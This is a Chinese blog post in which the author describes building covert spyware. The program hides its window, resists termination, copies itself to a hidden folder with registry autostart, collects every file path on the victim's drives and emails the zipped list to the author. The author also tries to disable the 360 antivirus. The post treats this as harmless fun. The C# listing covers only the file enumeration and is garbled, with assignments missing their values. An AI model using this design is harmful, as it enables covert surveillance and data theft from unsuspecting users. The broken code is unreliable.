最近项目不是太忙,做了一个小程序。刚开始只是想输出电脑所有文件,看看里面到底有哪些东西。 到后来再想如果其他人运行程序后,是否能把他电脑中文件名和所在路径都发到我邮箱呢? 所以慢慢这个小程序也就做的比较完美了。

运行程序后它具体的执行步骤如下:

1、隐藏窗口(调用API)

     我用的是控制台应用程序,运行之后不能让用户看到运行界面。只能在进程中看到运行的程序。

2、保护进程(调用一个VC++核心库函数)

     对当前进程进行保护,即使用户发现,也无法在任务管理器中结束。

3、检测网络连接是否正常(调用API)

   因为有些用户用的是3G 或者拨号上网,开机后要等一段时间网络才能连接。

4、拷贝文件

     这一步是把自身拷贝到机器的一个隐藏目录中,防止用户把现在的程序删除。

5、设置开机自动启动(读写注册表)M

     把上一步拷贝到隐藏文件的程序目录 写到开机启动注册表中。在上一步即使用户删除了程序,但是他不知道已经拷贝了一份在隐藏目录下,所以下次开机      后程序还会运行,但用户发现不了。

6、读取电脑中所有磁盘文件名及所在路径$

   先创建一个隐藏文件夹(比如在C:\Program Files\下面,因为隐藏文件,所以用户不可能发现),然后在文件夹下新建一个txt,读取到的文件都写到这个文本文件中。

7、压缩文件Z

   我自己机器测试最后写完的文本达到了20M,如果不压缩的话,邮箱很难发送,而且时间会比较长。20M文本压缩之后只有1.6M。

     这些操作都是在隐藏文件夹下进行的。

8、发送邮件*

   将压缩的文件以附件方式发送到指定邮箱,这里就是我自己的邮箱。

9、删除文件#

    将第6步中所建的文件夹 以及里面文件都删除掉。

程序执行完成,自动退出。下次开机就会自动运行了。

不过还是有些问题,如果装有360的话,它会有一个注册表防火墙,所以写注册表时候会被拦截,这样用户就很容易发现。我之前想用程序结束360进程,或者停止360服务。没想到即使我手动去停止都不行,流氓软件也不是吹出来的。

可能这个软件有点不道德 J 不过现在过不了360这关,所以基本上用户都能发现,没什么威胁。所以我也是自己测试娱乐一下而已。


下面是其中读取电脑中所有磁盘文件名及所在路径的代码:



namespace 
    Momo
{
 
   class 
    Program
 { 
  
     static FileStream fs = null;  static StreamWriter sw = null; private static readonly object obj = new object(); 
 
   static 
     
   void 
    Main( 
   string 
   [] args)
 {
 
   foreach 
    (DriveInfo df  
   in 
    System.IO.DriveInfo.GetDrives())
 {
 
   if 
    (df.IsReady)
 PrintDrive(df.RootDirectory);
 }  
  
       fs.Dispose();   sw.Close(); 
 }

 
   /// 
     
   <summary> 
   
 
   /// 
    读文件
 
   /// 
     
   </summary> 
   
 
   /// 
     
   <param name="di"></param> 
   
 
     
   public 
     
   static 
     
   void 
    PrintDrive(DirectoryInfo di)
 {
 
   try 
   
 {
 DirectoryInfo[] dirs  
   = 
   //目录下的文件夹 
   
 
    FileInfo[] fi  
   = 
   //目录下的文件
 
   for 
    ( 
   int 
    i  
   = 
     
   0 
   ; i  
   < 
    fi.Length; i 
   ++ 
   )
 {
 
   // 
   Console.WriteLine(fi[i].FullName); 
   
 
   //输出文件夹根目录的文件
 }
 
   for 
    ( 
   int 
    j  
   = 
     
   0 
   ; j  
   < 
    dirs.Length; j 
   ++ 
   )
 {
 
   // 
   Console.WriteLine(dirs[j].FullName); 
   
 
   //输出文件夹的目录
 PrintDrive(dirs[j]); //递归文件夹  
 }
 }
 
   catch 
   
 {
 
   // 
   Console.WriteLine("Error"); 
   
 
    WriteFile( 
   " 
   Read Error 
   " 
   );
 } 
 } 

 
   /// 
     
   <summary> 
   
 
   /// 
    写文件
 
   /// 
     
   </summary> 
   
 
   /// 
     
   <param name="strFile"></param> 
   
 
     
   public 
     
   static 
     
   void 
    WriteFile( 
   string 
    strFile)
 {
 
   if 
    ( 
   ! 
   Directory.Exists(MailInfo.ToZipPath))  
   //创建一个目录 
    @"C:\FolderToZip" 
   
 
    {
 Directory.CreateDirectory(MailInfo.ToZipPath);  
   
 
    DirectoryInfo di  
   = 
     
   new 
    DirectoryInfo(MailInfo.ToZipPath);  
   
 
    di.Attributes  
   = 
   //设置成隐藏文件
 }

 
   string 
    path  
   = 
    MailInfo.ToZipInfoPath;  
   // 
    创建一个文本文档@"C:\FolderToZip\info.txt" 
   
 
    
 
   if 
    (  
   ! 
   File.Exists(path)  
   || 
    fs  
   == 
   null 
    )
 {
 
   lock 
    //这里用了单例模式,其实没必要,只是注意单例模式的时候别忘了加锁
 {
 
   if 
    (fs  
   == 
     
   null 
   )
 {
 fs  
   = 
     
   new 
    FileStream(path, FileMode.Append, FileAccess.Write, FileShare.Write);
 fs.Close();
 }
 } 
 }
 
   if 
    (sw  
   == 
     
   null 
   )
 {
 
   lock 
    (obj)
 {
 
   if 
    (sw  
   == 
     
   null 
   )
 {
 sw  
   = 
     
   new 
    StreamWriter(path,  
   true 
   , Encoding.UTF8);
 }
 }
 } 
 sw.WriteLine(strFile); 
 } 
 }
}